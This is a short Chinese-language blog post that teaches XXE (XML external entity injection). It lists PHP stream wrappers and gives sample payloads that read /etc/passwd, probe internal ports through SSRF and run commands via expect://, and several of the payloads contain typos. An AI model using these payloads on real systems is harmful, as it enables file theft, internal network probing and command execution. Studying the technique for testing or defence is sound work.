XXE 咖面-六娃

XXE 概述

  • XXE也叫做XML外部实体注入[XML External Entity] , 当XML允许引用外部实体并解析时,会导致攻击者构造恶意实体的payloadj进行攻注入攻击,导致攻击者可以读取任意文件、执行命令、攻击网站、以及进行SSRF攻击等

XML基础

  • XML声明: < ?xml version="1.0" encoding= "utf-8"?>

  • 内部DTD声明: <!DOCTYPE根元素名称[元素声明] >

  • 外部实体声明: <!ENTITY实体名称SYSTEM "URI/URL" >

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY testSYSTEM "php协议">
]>

PHP协议概述

  • 进行XXE漏洞测试时,除了一些基本的XML基础.根据不同的环境,需要了解不同的协议,如PHP协议:
  • PHP支持的协议: file:// http:// ft:// php:// zlib:// data:// glob:// phar:// ssh2:// rar:// ogg:// expect://

xml危害一 [任意文件的读取]

<!--先定义 -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<!--再引用 -->
<x>&test</x>
  • 读取php文件:先对文件内容base64编码

ssrf [内网探测]

<?xml version="1.0" encoding= "utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:3306*> ]> <c>&b;</c>

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPEa[ <!ENTITY b SYSTEM "http://127.0.0.1/1.txt"> ]> <c>&b;</c>

命令执行

  • expect:// 处理交互式的流 (默认不按照的)
<?xml version="1.0" encoding= "utf-8"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "expect://./test"> ]> <c>&b;</c>
posted @ 2020-05-03 17:41  10nnn4R  阅读(157)  评论(0编辑  收藏  举报